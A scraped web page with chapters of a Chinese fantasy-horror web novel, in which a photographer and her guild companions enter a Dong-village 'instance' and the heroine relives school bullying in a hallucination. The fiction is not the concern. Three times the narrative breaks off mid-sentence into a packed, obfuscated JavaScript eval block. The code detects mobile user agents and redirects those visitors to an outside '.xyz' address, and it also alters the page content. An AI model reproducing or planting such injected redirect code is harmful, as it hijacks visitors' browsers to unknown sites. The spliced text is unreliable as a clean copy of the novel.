d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15023208|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >梁安颜一愣神。 她刚从那斜眼坏笑的表情包中,隐约品出一丝不对劲,顾斩风就很不凑巧地,接过了手机。 几乎与之同时,齐檎丹的话语弹出。一个诚恳无比的邀请,瞬间映入顾斩风虹膜: “所以,绑我吗?” 顾斩风眉头一皱:??? 这是什么奇怪的要求?捆绑play? 结合聊天记录上下文,顾斩风很快意识到此“绑”非彼“绑”。齐檎丹说的‘绑’,不过是用组队卡绑定的意思,并非什么虎狼之词。 但即便认清了真正的意思,当这个“绑”字再次进入视线范围内时,齐檎丹被手铐拷住的那一幕,还是不受控制地浮现在顾斩风脑中。 手铐、手腕、因受压而凹陷的细腻皮肉、被手铐磨出来的红痕…… 以及,在千钧一发之际反拷住他,要挟他为自己解手铐时,齐檎丹那双狡黠地闪着笑意的眼瞳。 那些在副本里的紧张形势下,被顾斩风故意忽略的细节,在此时如报复他一般,变本加厉地涌现。破碎的元素疯狂闪回、拼凑,原本针锋相对的画面,竟在顾斩风不知不觉之间,被染上了陌生怪异的暧昧。 顾斩风喉结滚动了一下。他不动声色地拨了下碎发,遮盖住发热的耳尖,将手机递还给梁安颜: “我们提前跟齐檎丹绑定,确实是个办法。” 目前,他们王座公会的会长尚未把话说死,只要求他们和齐檎丹进同一个副本,作出说服齐檎丹的尝试就行。跟齐檎丹进同一个副本,不仅能让他们完成拉拢任务,也能让齐檎丹尽可能地,避开那些陌生且别有用心的人。 不管从他们哪方的角度说,都是双赢的买卖。 稳赚不赔。 顾斩风当即买下两张高级组队卡,对梁安颜道:“问齐檎丹除了公会资料外,还需要什么。” 梁安颜照着做了:“齐檎丹说,她需要知道考察员之间相互交流和买卖事物的那个平台入口。她是要卖道具吗?在这平台上卖东西风险不小,我得告诉她要小心避坑。” 于是,在把平台入口链接发送给齐檎丹时,梁大小姐出于善意,多给了几句提醒。 齐檎丹:“放心吧,我不卖道具。” 齐檎丹发了个笑脸。 梁安颜:“那你是要?” 齐檎丹甩来一个链接,链接里的页面,显示着齐檎丹的排名。 而齐檎丹的名字旁边,则是系统根据她通关期间的精彩片段,自动剪辑成的视频。视频所占的面积不小,而且一直在循环播放,让人想不注意到都不行。此情此景,足以令任何一个考察员尴尬到脚趾扣地。 “系统的剪辑水平,真的是烂到发指。缺乏剪辑思维、镜头太碎、没加音乐音效……”齐檎丹愤慨地批判,“明明有那么多好的素材,却给我剪成了这个样子。” 就这视频质量,还不如她给来拍写真的客妹们剪的花絮呢。 梁安颜:“所以,你打算?” 齐檎丹:“自己剪一个高光视频,放到平台上,维护一下我的个人形象。” 作为一个从零开始拍写真的独立摄影师,在平台上宣传自己,她可太在行了。齐檎丹自然知道这么做的风险性,在这个对新人不算友好的副本世界里,这样有极大概率带来众多会引来危险的关注,因此过往的五年,才没人这么干过。 但,既然已经被推到风口浪尖之上,她不介意给自己再添一把柴。 反正一切也不会更糟了。 那不如,让火烧得更猛烈一些吧。 48. 啼血侗歌1 齐檎丹确实把这把火烧旺了。等到她要再进副本的时候,齐檎丹自己剪辑的那些视频,已经论坛上掀起了好一阵腥风血雨。 除了跟榜单上那个视频同属一个类型,质量却更高的高光片段剪辑,齐檎丹还剪了燃向、舔颜向和剧情向的剪辑。 简直冲在了为自己代言的第一线。 而且,不知道是不是因为视频的热度够高,这些被关联上了齐檎丹的视频,竟然顶替了原本挂在榜单上的那个,在一众粗制滥造的剪辑中,显得独树一帜,如同鹤立鸡群。 她这一举动,招来的毁誉参半。 但即便大多数人讥讽她包装自我,宣传过度,也有部分人对她的剪辑表示欣赏。 既然都要被展示在榜单上经历社死,谁不希望自己的视频能够好看一点呢?显然,有齐檎丹打头阵以后,出现这样想法的人不在少数——因为,齐檎丹趁机接了许多帮人剪辑的单子,入账的积分源源不断,叫人看得眼红。 尽管齐檎丹最喜欢的,终究还是拍照,而非剪视频,但赚钱的喜悦是如此令人着迷,以至于齐檎丹被要求进入第三个副本的时候,甚至有些念念不舍。 当然,她舍不得的,不止是赚积分。 踏入副本前,齐檎丹回头看了眼苏意虹紧锁的房门。 在收到的公会资料的第一刻,齐檎丹就将其转发给了苏意虹,但自从那次她从顾斩风那里回来之后,苏意虹便不知道受了什么刺激,下定了这次不与她进同一个副本的决心,不仅开始早出晚归,即便回到出租屋之后,也是径直回到卧室里。 只有拿外卖的时候,苏意虹才会短暂地出来一两次。 齐檎丹几乎没机会和她见面。 就连苏意虹倾向于选择哪个公会,她也无从得知。 半晌,齐檎丹终于转过了头,放弃看向苏意虹那扇紧锁的房门。或许,这样对苏意虹来说,是比她一起进副本更好的事情。 她闯关时危险举动多,苏意虹不跟她一起冒险会更安全,存活概率更高,也不需要依靠她保护。 不管是以上哪一种,对苏意虹都极有好处。 齐檎丹尊重苏意虹的选择。她只希望她们两个都能平安无恙地走出副本,在现实里重逢。 作为副本入口的漩涡,正在眼前静悄悄地旋转着。暗沉得骇人的颜色,宛如深水下隐匿交织的暗流,迫不及待地想把人往海底深渊里吞。 而齐檎丹乐得被吞。 一想到只有进入副本里,才会出现那么多有意思的鬼怪,齐檎丹顿时觉得她充满了动力。 安稳的生活诚可贵,赚钱的快乐价更高,若为拍摄照片故,齐檎丹两者皆可抛。 “拜托了,让我进入到一个适合拍照的副本吧。找到一些好拍的景色,再让我遇到点好看又有镜头感的鬼吧,当然,如果这些鬼能配合我一点,那就更好了。”齐檎丹双手合十,贪心地向系统许下了一个又一个愿望。 许下愿望之后,齐檎丹一脚走进副本入口当中。 新的副本,她来了! . 兴许是齐檎丹虔诚的许愿真的起了作用,从副本入口里走出来时,她眼前一花,眺望见不远处一个民族特色浓郁的寨子。 竹木苍翠,掩映一座座干栏式的吊脚楼。 八角攒尖的鼓楼形似宝塔,巍然傲立,层层飞阁垂檐挑起了乡寨的天际线。旁边,更有几座玲珑壮观的风雨桥,横跨水上,将寨子妆点串联。 根据鼓楼和风雨桥这两种标志性建筑,基本可知—— 这是一个侗族乡寨。 齐檎丹满意地弯起唇角,在心里给了系统一个五星好评。这么漂亮的寨子里,鬼怪想来也不至于丑到哪里去,有这样的拍摄背景和主体,拍起照片一定特别好看。 感谢考察系统,感谢这个副本。 她的愿望居然实现了。 前一个副本里的鬼怪长得太过寒碜,没办法调动起齐檎丹拍照的兴致,一个副本经历下来,齐檎丹的怨气比厉鬼都大。但这回不同,一切似乎回归正轨。 她终于可以一雪前耻,大拍特拍了。 齐檎丹情不自禁地拿起相机,先拍了两张侗寨的远景。兴奋中,她的食指情不自禁地颤动起来,轻轻敲击在相机的外壳上。 同时,一检测到齐檎丹进入副本,系统立刻开始把她的相关信息汇总起来,导入副本之中。 【姓名:齐檎丹】 【考察员等级:D级(努努力,再通关这个副本就能升级啦)】 【考察员头衔:初出茅庐】 【专属技能:照鬼相机(lv2)】 【道具:愤怒的长刀(普通)、创世宝珠(稀有)、穆青青的记者证(普通)、照片“故乡的回眸”(SS级)】 【可携带积分:500(已达上限)】 【个人直播间:已开启】 可能是齐檎丹给自己剪辑的那些视频,以及她的剪视频事业发挥了作用,这一次,齐檎丹的考察直播刚刚开启,她立刻就感受到了观众们非比寻常的数量。 这次涌进直播间里的观众人数,足足有上一次的几十倍。 挤得直播间都出现了一点卡顿。 由于实现了心愿,齐檎丹的心情好得不得了。一开直播,她就主动面向直播间镜头挥了挥手,跟来看她的观众们打了个招呼:“哈喽,大家早上好呀!” 这一举动,收到了弹幕上热烈回应。 “啊啊啊啊终于见到了!妈呀,真人比剪辑好好看!” “这次也带了相机吗?好想看你拍照片。” “要我说,那些鬼怪都应该给你交写真钱。要不是你,谁能把它们拍得那么好看啊。” “……” 因为观众的数量太多,弹幕滚动的速度得堪称飞快,还不等齐檎丹看清内容,绝大部分弹幕就已经被淹了下去。 因此,齐檎丹只能从她看到的弹幕当中,挑选几条感兴趣的回复。 “这次当然也带了相机来,我的相机几乎不离身。”齐檎丹拿起携带的相机,展示给观众看,“你们不觉得,在副本里拍鬼怪很有意思吗?不用刻意找情绪,这些鬼也能自带杀气……” 因为它们下一秒,确实会冲来杀人。 齐檎丹一边向观众解释着,她热爱拍鬼怪的原因,一边眼尖地从弹幕中瞟见一条评论。 “进这个副本的考察员,身上的衣服是都会换吗?这是哪个民族的传统服饰呀?好好看。”弹幕上有人在问。 她的衣服被换了?还被换成了民族传统服饰? 齐檎丹后知后觉。 直播期间,考察员看不到直播里的自己,多亏了这个观众提醒,齐檎丹才注意到,她身上的服装竟然变了。 这是她进的第三个副本了,却还是第一次体验变装。 齐檎丹感到稀奇。 她低下头,往身上一瞧。 只见,身上的装束已然大不相同。头戴华丽银钗,颈佩银圈首饰,上身穿大领对襟式衣,下着短式百褶裙和绑腿。脚上原本的运动鞋,则被替换成了一双翘头花鞋。 这些衣物的刺绣繁复精美,所用布料也十分独特,让齐檎丹倍感新奇。 这样的衣服,拍照一定特有质感。 “很漂亮,对吧?这些衣服都是侗锦做的,上面绣的是侗绣。侗绣做起来很不容易,要想绣完这些,得花上不少时间呢。”熟悉的声音从身后传来,帮齐檎丹介绍了她身着的侗族服装。 齐檎丹似有所感,蓦然回头,梁安颜的笑颜霎时间映入眼眸。 想想也对,不仅熟悉各种服饰,还能将看过知识倒背如流的,除了这个服装设计专业的梁氏集团大小姐,还有谁能做到呢? 齐檎丹惊喜地向梁安颜招招手:“梁安颜,你怎么来了?” 难道,第二个跟齐檎丹绑定的人是她? 好像也不一定。 ——因为,齐檎丹还没来得及寒暄,她就在梁安颜旁边,看到了顾斩风,还有站在梁安颜旁边叽叽喳喳跟人闲聊的龙骁。 笑死,这把熟人局。 齐檎丹迄今为止,在这副本世界里认识的人才没几个,今天几乎全部到齐了。 尽管,这次被拉进副本里的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15028671|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 考察员人数格外多,至少也有大几十人,而齐檎丹的熟人只有区区三个,相比之下,委实微不足道。然而,这次跟她同一个副本的熟人人数,还是大大超出了齐檎丹的预料。 因为这个计划是齐檎丹最先提出的,她知道有两个人用组队卡跟她绑定,跟她进同一个副本。 但,进来的熟人怎么有三个? 齐檎丹记得,即便使用最高级的组队卡,她也只能再绑定一个人了啊。是靠机缘巧合?还是王座公会用了绑定她的新办法? “龙骁是因为放心不下我,跟我绑定了,所以被一起带进来的。”梁安颜笑着解释道。她是在明知齐檎丹此前两次,都被系统匹配到更高等级副本的情况下,主动要求和齐檎丹绑定的。 打从那次和齐檎丹组队之后,她逐渐放弃了过分循规蹈矩的通关风格。 不但没那么憋屈了,直播吸引来的粉丝数量也增加了。单是打赏积分,就是一笔不错的收入。 所以当齐檎丹需要时,她很乐意帮忙。 梁安颜轻轻耸了下肩:“组队卡虽然规定了一个人只能跟另外两人绑定,但没有规定不能连着绑。” 对于钻规则的漏洞,王座公会可是一把好手。 要不是考虑到不要太声张,王座公会的会长能让他们按照这个方式,把尽可能多的人带进副本里来。 “那高级组队卡实际上可以绑定的人数,岂不是2的n次幂?”齐檎丹肃然起敬。若是不考虑副本对进入人数的限制,这样岂不是能往副本里,带进万马千军? 突然之间,齐檎丹感受到了劫后余生的庆幸。 幸好她提前想好跟熟人绑定的策略,事先截断了这种可能,要不然,哪个人多的公会要是用了这招,就算每个人只跟她说一句话,她都能被活活烦死。 齐檎丹脑补了一下那个场景,连连摇头。 可怕,太可怕了。 齐檎丹深深吸了一口气,她现在急需看点别的,来转换一下心情。 进这个副本的考察员们,也都被换上了侗族的民族服饰。顾斩风也没有例外。他常穿的衬衫和白大褂,被换成了工艺繁多的侗族男装。 锁绣、织带、拼布齐齐上阵,太阳纹、几何纹和八角星纹百花齐放,纷纷在黑底的立领对襟和腰带上扎了根。顾斩风的穿搭风格,被从极度性冷淡的极简主义,变成了极繁主义。 ——不变的是,他依旧包得严严实实。 齐檎丹遗憾地叹了口气。 这届系统分配的服装不行啊,这还是夏天呢,就包裹得这么严实,一点蛇鳞都看不到。 但凡露肤度能够稍微高点,露出一点蛇鳞,哪怕只是微乎其微的一点点,藏在衣服下若隐若现,最终呈现出的效果都会极速增加。 要不是有所顾忌,齐檎丹真的很想上手扒一下……啊,不对,是稍微调整一下他的衣服。 要露不露,那才最为勾人嘛。 齐檎丹的兴味过于明显了。明明齐檎丹只是站在那里,什么也没有说,什么都没有做,可是被这样一双茶色眼眸似笑非笑地盯着,顾斩风却觉得全身被她大胆的目光摸了个遍。 顾斩风忍不住皱了皱眉,眉宇间愈发疏冷。他突然有点后悔,当初为什么要给齐檎丹看那些伤疤。 虽然假死讯是解释清楚了,却给自己招惹上了一条馋他蛇鳞的大尾巴狼。 公会任务还跟这条大尾巴狼有关。 一时半会儿甩不掉。 顾斩风无奈地偏转视线,避开了齐檎丹看似无辜的目光。 他们两人眼神里的暗暗拉扯,服装设计专业的梁安颜一无所知,由于对服装的浓厚兴趣,这会儿,她已然对身上的侗族衣物,展开了第二次端详。 “不同地方的侗族服饰之间,虽然会存在有一些区别,但是从服装的用心程度和女性佩戴的首饰上看,我们现在穿的,应该是侗族的盛装。”梁安颜从服装的细微差别中,似乎察觉到了什么: “侗族人日常只穿便装,如果这么打扮,应该是有重要的活动即将发生。” 这项活动,也许是他们到来的目的。 49. 啼血侗歌2 系统的效率这次还算高,他们只是站着说了两句话,副本的背景信息就被送到了眼前。 【副本名称:啼血侗歌】 【等级:D(加难)】 【背景:你们是刚从外地回来的侗族人。此刻,你们正在去往另一乡寨参加联谊活动的途中,但你们此行另有目的。】 【昨夜迷迷糊糊间,有个声音交给你们一个任务——帮助寨中少女成功退婚,并使之与亲友们团聚。】 这次副本的背景信息还算简单,由于梁安颜对侗族文化有着一定了解,她只根据他们换上的服饰,就已经猜了个七七八八。但是,这无济于事。 因为这个副本里最大的坑,不是他们即将去参加的活动。 或者说—— 除了梁安颜猜到的活动,其他全是坑。 这些坑,挖得与众不同,推陈出新。越是自诩经验丰富的考察员,越是会对这次的坑感到心力交瘁。 然而,能被匹配进D级副本的考察员,绝大多数是有经验傍身的,恰好是这副本信息介绍专门克的对象。许多考察员才一看清介绍,眉头就拧成了“川”字。齐檎丹放眼望去,人群间好一片沟壑纵横,愁云惨淡。 这份副本信息介绍,处处都是异常。 连才通关过两个副本的齐檎丹,也发现了不对劲。 齐檎丹“咦”了一声:“我们这次的身份居然不是考察员,而是本身就生活在这里的侗族人。”这在前两个副本里,还从未有过。 侗族人身份,会更方便他们融入其中,考察和拍照吗? 梁安颜同意齐檎丹的说法,她很快结合她对侗族文化的了解,作出了相应解释:“侗族聚族而居,很多活动都在寨子里展开。可能这次考察的项目比较特殊,只有这个身份,才更方便我们进行接下来的考察。” 像这样改换身份的情况,在低难度的副本里确实非常稀少,但梁安颜了解到,副本难度越往上走,这样的情况会越多——甚至可能给每个人不同的副本身份。 到了那个时候,考察员的身份转变就不是为了减轻考察难度,而是增加通关难度了。 齐檎丹的专注力回到副本本身。 抛开身份的变化不谈,这次的副本背景信息介绍,也很奇怪。 从周围其他考察员惊慌失措、抱怨连天的哀嚎中,齐檎丹意识到,相比起服饰与身份信息的转变,还有许多更值得引起他们关注的点。 “该死!这介绍里怎么找不到主线任务?我们到底要考察什么?” “为什么等了这么久,也没见到生命剩余值弹出来啊?难道这次不需要生命剩余值吗?可明明没说不用啊。” “……” 种种异常,搞得人头晕脑胀。 由考察员组成的人群里,明显能看得出焦躁不安的气氛。 他们中的绝大多数人,都是第一次遇上这种情况,于是这种不安蔓延的速度极其迅速。犹如一阵风,在很短的时间里,吹遍了整个人群。 生命剩余值没像往常那样如期而至,并且这次的背景信息里,也并没有直接点明需要考察的对象,只提到了两件与考察风牛马不相及的事情——一是退婚,二是让少女跟亲人好友团聚。遮遮掩掩的信息,足够令人困惑。 这次是要他们考察什么?怎么遮遮掩掩的,不肯暴露? 莫不是系统出现bug了? 置身慌乱的考察员中,顾斩风却神态自若地摇摇头:“不是bug。副本阶级越高难度系数越大,给出的提示信息就越少。” 如果高难度的副本给出过多信息,反倒更需要警惕。 因为多出的那些信息,大概率是拿来误导考察员找错方向的假信息。 提示信息越少,就越需要用好。可齐檎丹看完整条副本介绍之后,却禁不住啧啧称奇:“比起考察副本里的民俗,背景信息居然更加强调,我们要帮人退婚?” 但这系统的全名是考察系统,不是什么号召全体成员当好人、做好事的感动国家系统。正常情况下,在各个副本里考察民俗,才像是系统会发布的任务主线。 再说了,根据齐檎丹经历过的前两个副本,不难发现—— 系统对副本中角色的死活,向来淡漠。 甚至冷眼旁观。 按照考察系统的规定,只需要完成考察任务这个硬性指标,考察员们就能通关,与副本里角色的结局毫无关系。哪怕在“古厝诡婚”副本里,不拯救被控制的新娘鬼,“峭壁悬棺”副本里,不折回去救快丧命的小老头,也没有任何问题。 系统的秉性一贯如此,怎么可能到这个副本里,系统就突然转了性,开始助人为乐了呢? 这很奇怪。 “让我们帮忙退婚,可能不完全是系统的意思。”顾斩风道,“否则,背景信息里,根本不需要特地指明,我们的任务是由那个出现的声音派发的。” 那个神秘的声音是谁的? 它从何而来?又为什么能够支使他们? “哎呀,我说你们也别把问题想得那么复杂了。不管怎么说,这系统总不可能一直瞒着考察任务,不告诉我们吧。” 龙骁是个天生的乐天派:“往好的想,虽然那个少女和她的亲友我们不知道是谁,但也许找到要退婚的人,帮着退婚成功,我们就能得到下一步指示了。” 说干就干。龙骁立刻行动起来,到处打听退婚的事。 他随手逮住一个路过的侗族小伙子,张嘴就问,自来熟程度堪比社交悍匪:“你好,哈喽,问一下哈,我们这是要走去哪里啊?是为了参加哪个寨子的退婚仪式吗?” 怎料,那小伙子却摇了摇头:“退婚?没听说过。我们是整个寨子都受了邀请,要去‘吃相思’的。‘吃相思’只是几个寨子之间的联谊而已,跟退婚没有任何关系。” 龙骁急了:“那你知道,最近哪儿有人要退婚吗?” 可这小伙子一问三不知:“不清楚,不知道。退婚这件事,有好些年没听说了。” 龙骁一连问了好几个人,答案几乎相同。他白白浪费时间,碰了一鼻子灰,愣是没有得到一点关于退婚的消息,最终只好铩羽而归。 “唉,附近几个寨子的消息我都问遍了,别说退婚了,连哪里结婚都没听说。这叫我们怎么帮人退婚啊?去梦里吗?”龙骁这一番吐槽堪称嘴替,道出了所有考察员的心声。 刚一开始就那么困难,接下来该怎么办? 总不能坐以待毙吧? 齐檎丹环顾四周。显然,在NPC那里碰了壁的不止龙骁一个,其余考察员同样萎靡不振,叹气声也此起彼伏。 考察的对象没下落,要帮谁退婚也不知道……系统仿佛在刻意刁难他们,不提供给他们任何明确信息。在这种先天不足的情况下,想要找到并完成考察任务,是前所未有的困难。 然而,齐檎丹不仅没有灰心丧气,还时不时举起相机,对着前方的侗寨景观拍个一两张远景。 说来有点惨,她已经习惯了。 自打齐檎丹被吸进副本世界里,经历过的副本就没有简单过。 齐檎丹随意翻看着相机里的照片,心神却并不在这上面。在接触拍照后不久后,她就发现,感受到相机压在手里沉甸甸的重量,能让她更迅速地沉下心来,进入思考问题的状态。 这毕竟是主要任务,突破口是一定有的。他们一次没找到,就找第二次。 副本刚开启,也没个能搜线索的地方,他们目前掌握的信息少得可怜,只有一则副本的介绍。 如果有关键点,一定藏在这里。 齐檎丹把系统给的副本介绍,从头到尾又阅读一遍。这一遍读下来,除了十分明显但是找不着踪影的“退婚”外,她还抓住了另外一个关键词。 那一个关键词不在背景信息中,反而藏在副本的名字里,叫“侗歌”。 侗歌,即侗族大歌。 望文生义,可知是侗族的特色歌曲。 副本名字的作用和标题类似,而标题有如文章的门面、摄影创作的核心,不管是行文还是创作时,皆需反复扣题。侗族大歌这个名词,之所以能被放在副本名字里,说明具有不容小觑的重要性,非常有了解的必要。 这类知识性的问题,齐檎丹当即求助梁安颜:“你对侗族大歌了解多少?” 梁安颜想了想,道:“侗族大歌是盛行于侗族地区的传统音乐。侗族人自小就要学习唱歌,侗族大歌也广泛分布在侗族人的生活当中。我想,像‘’吃相思’这样的大型联谊活动,侗族大歌应该不至于缺席。” 换言之,想接触到侗族大歌最好的方式,就是老老实实跟着队伍走,参与这个“吃相思”联谊活动。 系统之所以给他们设定了侗族人的身份,说不定正是为了这个联谊。 为此,他们不妨跟着副本里的“同寨人”走。 . 齐檎丹预估的路程时间并不久。 毕竟对面的寨子已在望中,很快便能抵达。 但齐檎丹没想到,他们只跟随同寨的侗民们,往前又走了一小段路,队伍却突然停下了。 此时,乡寨的鼓楼和风雨桥,已然在脚步声中移至眼前,只需再多走两步就能抵达。队伍这猝然的停止,来得实在毫无预兆,也毫无道理。 发生什么事了? 齐檎丹从人群中探出头,往前方看去。 只见,前方原本蜿蜒往前的道路,竟被从中截断。 道路上障碍物众多。高高垒起的板凳、扎成虎形的稻草、树枝和布料等物品,都被人为地一字排开,摇身一变,成了路障。 而路障后面,站着笑吟吟的侗族姑娘。 望着眼前敲锣打鼓的客人,她们清了清嗓子,开始歌唱:“噢嗨顶,姑娘要忌寨,砍下树枝遮坡岭,不让外人进……” 侗族姑娘们嗓音清越,穿石裂云,久久不散。 然而,歌词却并不热情。 明明邀请他们来的,是这个主人寨的人,可不管拦路的举动和这首歌的歌词,都好像不太欢迎他们。 “依我看,她们未必不好客。她们这是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15031611|158985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 唱拦路歌。”梁安颜笑着,及时发挥科普功能,“拦路歌是侗族待客的最高礼节,主人村寨里的人会故意用歌曲出题刁难,客人也要用歌曲作答,每答上一题,她们才会挪走一件物品。” 等到歌曲问答结束,东西全被挪走,对面便会欢欢喜喜地迎他们进寨。 奈何,梁大小姐只对服饰相关的方面精通,与音乐相关的方面她就算知道理论知识,也不会唱。 这时候,那些设定里跟他们同寨的侗族人物,就发挥出作用了。 唱歌对答,全靠他们救场。 “砍下树枝莫遮岭,外人进寨寨安宁……”主人寨与客人寨一唱一和,以歌斗智。 齐檎丹瞧着好玩,刚想端起相机拍下这一民俗,眩晕感却倏然袭来。 这歌声有问题! 齐檎丹瞳孔一缩,狠狠掐了自己一把。 她好不容易强撑着一线理智,把相机收回系统背包,近在咫尺的一张张人脸笑面,就扭曲成了怪异的鬼眼。 现实扭曲成了幻境。 刹那间,周围暗了下来,千百只猩红的竖瞳鬼眼蜂拥而至。 它们漂浮在空中,围绕着齐檎丹,随即眨了两下眼。紧接着,两片嘴唇分别从眼珠上下生长而出,将鬼眼包裹进唇里——从眼睛,变成一张张诡异的嘴巴。 眼珠子长在细长发紫的舌头上,伴随嘴唇的一张一合,幽幽地凝视着齐檎丹。 恶意的目光令人作呕。 “嘻嘻嘻,恶心的贱人,婊.子。” “当上班干部有什么用?不过就是班主任的走狗,只会汪汪叫的奴才。” “瞧她那个样子,指不定跟多少人睡过了。贱母狗还装什么清纯。装他m呢。” “……” 千百张嘴巴开合着,往外吐出尖酸刻薄的恶言恶语。 这其中,有侮辱性称呼,有粗话,有黄谣……人世间最恶毒的词汇量,几乎都能在这里找到。每一句话都如同刀锋,从各个角度一齐扎来,试图刺激齐檎丹敏感的神经。 真熟悉啊。齐檎丹禁不住想。 没想到,她有生之年,竟然还会再听到这些话。 齐檎丹意识到,这些鬼眼珠或许有着某种窥探记忆的功能,能够试图重现她最恐惧的一幕。而这些嘴巴模仿的,正是她被校园霸凌时最常见的景象。 胃酸在翻涌,带来不甚分明的烧灼感,不堪入耳的骂詈语在耳边环绕着,使齐檎丹恍惚间仿佛回到了校园。 校园时代,是多少人所怀念的青葱岁月。 却令她感觉到恶心。 初高中加起来,一共六年。其中,有三年零九个月的时间,齐檎丹都生活在霸凌的阴影下。 那群人给她起最下流的绰号,编排最可耻的黄谣,倾尽一个中学生所拥有的词汇量,用最最恶毒的文字挖苦她,并将这些话写在她所有看得见的位置。 楼梯走廊的墙壁上,上课要用的教材上,她身穿的校服上…… 一句压着一句,密密麻麻。 下笔的印记,深得她抹都抹不掉。 霸凌者肆无忌惮地羞辱她,看客们心存顾忌地孤立她。在霸凌群体的煽动和拉拢下,越来越多的同学,加入了这场以伤害她来取乐的狂欢。 被扔进垃圾桶里的教辅,被值日生踩脏的课桌椅,被偷偷倒进粉笔灰的水,被撕烂的作业,被谩骂和谣言覆盖的校园表白墙……这么多年过去了,齐檎丹原以为她已经忘记,可时至今日,记忆里的细节却依然清晰可见。 每一个记忆犹新的细节背后,都是一道深可见骨的陈年伤疤。 曾经流过脓血。 舌头上的一颗颗眼珠大睁着,激动地目睹着齐檎丹沉入回忆,变得沉默。 兴许是觉得已经胜券在握,那些舌头发出叽喳怪笑。它们越来越激动,两片嘴唇飞快地开合动作,直骂得唾沫星子横飞。 语速越来越快,语调越来越高,声音相互重叠交织,模糊成语义不明的尖利杂音。它们在等着齐檎丹招架不住,对它们缴械投降。 然而,齐檎丹只是微笑着,朝它们弯起嘴角: “说够了没有?” 言语如刀,而齐檎丹扬起头颅,对那些曾经扎得她遍体鳞伤的刀刃,报以轻蔑嗤笑。 “怎么只有嘴和眼睛,不把当年那些这么说的同学都变出来啊?他们一个个长得人模人样,有鼻子有眼的,可比鬼怪恐怖多了。” 这世间最恐怖的,本就不是鬼。 而是人。 在这幻境之中,系统背包还能使用。齐檎丹一把拔出长刀,朝着那些吱哇骂人的嘴巴,一刀砍了过去。 凛烈的刀光猛然劈下。 顷刻间,骂得最脏的那几个嘴巴被切作两半,掉落在地,流出酸腐恶心的脓水。 在一刀砍下去之前,齐檎丹不曾想到,充作背景的那片黑暗,竟然也能被刀刃划开。一缕算不上明亮的微光,从被划破的缝隙里照了进来。 齐檎丹寻着光照抬眸。 从缝隙里,瞥见一双朦胧的泪眼。 50. 啼血侗歌3 当那双婆娑泪眼,出现在齐檎丹视野里的一瞬间,现实里主客两寨在对唱的拦路歌,重新在耳畔唱响。 然而,那歌声仿佛接触不良,断断续续,没唱两句就变了曲调。 “早知你来早打扮,没有打扮我们穿衣错……沟头萌恋,怕郎早讨厌,今又见你娶得一个,伴好人材,话语相投,为何不来早点告诉我姣娘……” 热闹的欢歌急转直下,转眼化作哀哭。 呜咽婉转,如泣如诉。 歌声的每一个节拍,都仿佛一记闷锤,凶狠地击打在齐檎丹的太阳穴上。登时,齐檎丹头部的青筋突突地跳将起来,头痛欲裂。 与此同时,被刀砍出的缝隙越裂越大,更多的光芒照进空间,撵上黑暗。齐檎丹强忍着疼痛,从面前的裂缝之间看去。 感谢缝隙的扩大。这一次,她窥见的不再是泪眼,而是那双盈盈泪眼的主人—— 一个神情哀怨的侗族女子。 女子口中吟唱着忧伤的情歌,满腔怨愤,不知在向谁倾诉。 齐檎丹下意识地想要掏出相机。 然而,那女子出现的时间太过短暂。齐檎丹才刚把相机从系统背包里拿出来,对焦前方,女子的身影已和周围的黑暗一起消失不见。 齐檎丹眼前一晃,又回到了现实当中,手里的数码相机甚至保持着开机状态。 可恶,错失良机。 明明只差一点点就能拍到了。 齐檎丹后悔不已。要是刚刚动作再快一点,早点按下快门,她就能拍摄到那个侗族女子的长相了。 这可是来之不易的线索啊! 然而这世间是没有后悔药的,没记录下视觉信息,就只能从听觉上下手了。 齐檎丹左右看了看,发现梁安颜他们也已经摆脱幻境的纠缠,她便趁着还记得那两句歌曲,赶紧询问:“你们刚才有听到歌声吗?” 梁安颜马上回应道:“我听到了,是一个侗族女生唱的。内容大概是‘沟头萌恋,怕郎早讨厌,今又见你娶得一个伴好人材……’” 这内容,和齐檎丹听到的一模一样。 那个侗族女子只唱了一遍,声音还因为哭泣而变得含糊不清,也就只有梁安颜这样非凡的记忆力,才能将歌词完完整整地全背下来。 “啊?不对吧?我听到的不是这个。”龙骁扬起眉毛,嘴里发出一个尾调上扬的音节:“我听到的那个,开头可能跟你们听到的有点像,但后面不一样。我记得有什么‘诓我’,什么‘讨厌’,还有什么什么娶来娶去的。” 顾斩风叹气:“你想说的,是不是‘沟头萌恋,深夜守姣,哪里会讨厌。姣娘诓我,另娶她人’?” 龙骁:“对对对!就是这个!” 显然,男女考察员听到的歌曲唱段各不相同。 但根据两段唱词中相似的部分,不难猜出,两个唱段出自同一首歌。女性考察员听到的部分,为侗族女子所唱。男性考察员听到的那一段,则由男子唱出,歌词听起来,像是对女子歌声的回应。 歌词里,描述了一对侗族的有情人相约深夜幽会,借着歌声互诉衷肠的景象。 并且,显而易见—— 